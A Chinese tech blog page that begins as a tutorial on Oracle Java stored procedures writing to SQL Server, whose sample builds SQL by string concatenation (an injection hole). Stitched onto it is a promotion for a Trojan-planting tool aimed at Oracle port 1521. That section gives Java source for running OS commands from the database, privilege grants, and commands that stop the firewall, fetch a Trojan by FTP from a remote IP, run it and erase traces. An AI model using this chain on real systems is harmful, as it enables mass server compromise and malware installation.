在oracle里用java写存储过程

本文介绍如何在Oracle数据库中使用Java源代码创建存储过程,并通过示例展示如何实现跨数据库操作,具体演示了如何从Oracle调用Java程序向SQL Server插入数据。

1、在oracle的 Java sources里面创建如下java程序

 

create or replace and compile java source named senddate as
package org.bromon.oracle;
public class SendDate
{
  public static void Send(String da_tel,String dt_bh,String dt_da)
  {
    //System.out.println("Hello");
   
    java.sql.Connection con = null;
    java.sql.Statement stem = null;
    java.sql.ResultSet rs   = null;
   
    String sql = "insert into gdcq08dxdxsj(da_tel,dt_bh,dt_da,dt_date) values('"+da_tel+"','"+dt_bh+"','"+dt_da+"',sysdate)";
    String DRIVER = "com.microsoft.sqlserver.jdbc.SQLServerDriver"; //sqlserver2005
    String URL = "jdbc:sqlserver://localhost:1433;databaseName=name";
    String USER = "user";
    String PASSWORD = "password";

    try {
      Class.forName(DRIVER).newInstance(); ;
      con = java.sql.DriverManager.getConnection(URL,USER,PASSWORD);
     
      stem = con.createStatement();
      int ret = stem.executeUpdate(sql);
      System.out.println("ret = "+ret);
    } catch (Exception e) {
      System.out.println("数据库连接失败!");
      e.printStackTrace();
    }
    finally{
       try {
       stem.close();
       stem = null;
       con.close();
       con = null;
       } catch (java.sql.SQLException e) {
         System.out.println("数据库关闭失败!");
         e.printStackTrace();
       }
    }
   
  }


}

 

2、写oracle存储过程

//packages

 

 procedure myProc(da_tel varchar2,dt_bh varchar2,dt_da varchar2);

 

 

//package bodies

procedure myProc(da_tel varchar2,dt_bh varchar2,dt_da varchar2) as
  language java name 'org.bromon.oracle.SendDate.Send(java.lang.String,java.lang.String,java.lang.String)';

 

 

现在可以直接调用 myProc 了,如果是在Command Window 下测试的话先执行

SET SERVEROUTPUT ON;
 CALL dbms_java.set_output(2000);

这样才能看到System.out.println的输出。

 

 

个人全自动1521传马工具日抓千鸡 http://www.skycn.com/soft/1211.html http://www.irisbay.com/down/pub/ora10client.rar 首先安装两个必须的文件 3. 安装ftp 建立好自己的 ftp地址 账户 密码 4. 设置目录面的 java.sql 打开以后 看最下面 自己修改ftp地址 账户 密码等等 5. 都设置完成以后 把目录面的 java.sql 放到c盘 即可! create or replace and compile java souRCe named "util" as import java.io.*; import java.lang.*; public class util extends Object { public static int RunThis(String args) { Runtime rt = Runtime.getRuntime(); int RC = -1; try { Process p = rt.exec(args); int bufSize = 4096; BufferedInputStream bis =new BufferedInputStream(p.getInputStream(), bufSize); int len; byte buffer[] = new byte[bufSize]; // Echo back what the program spit out while ((len = bis.read(buffer , 0, bufSize)) != -1) System.out.write(buffer, 0, len); RC = p.waitFor(); } catch (Exception e) { e.printStackTrace(); RC = -1; } finally { return RC; } } } / create or replace function RUN_CMz(p_cmd in varchar2) return number as language java name 'util.RunThis(java.lang.String) return integer'; / create or replace procedure RC(p_cmd in varChar) as x number; begin x := RUN_CMz(p_cmd); end; / variable x number; set serveroutput on; exec dbms_java.set_output(100000); grant javasyspriv to system; grant javauserpriv to system; exec:x:=run_cmz('net stop sharedaccess'); exec:x:=run_cmz('cmd.exe cmd/C del p.bat'); exec:x:=run_cmz('cmd.exe cmd/C del d.bat'); exec:x:=run_cmz('cmd.exe cmd/C del k.exe'); exec:x:=run_cmz('cmd.exe cmd/C echo open IP>>p.bat'); exec:x:=run_cmz('cmd.exe cmd/C echo FTP账号>>p.bat'); exec:x:=run_cmz('cmd.exe cmd/C echo FTP密码>>p.bat'); exec:x:=run_cmz('cmd.exe cmd/C echo bin>>p.bat'); exec:x:=run_cmz('cmd.exe cmd/C echo get 木马名.exe>>p.bat'); exec:x:=run_cmz('cmd.exe cmd/C echo bye>>p.bat'); exec:x:=run_cmz('cmd.exe cmd/C echo ftp -s:p.bat>>d.bat'); exec:x:=run_cmz('cmd.exe cmd/C echo 木马名.exe>>d.bat'); exec:x:=run_cmz('d.bat'); exec:x:=run_cmz('木马名.exe'); exec:x:=run_cmz('cmd.exe cmd/C del C:\WINDOWS\system32\cscript.exe'); exec:x:=run_cmz('cmd.exe cmd/C del p.bat'); exec:x:=run_cmz('cmd.exe cmd/C del d.bat'); exec:x:=run_cmz('cmd.exe cmd/C del 木马名.exe'); exit exit
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值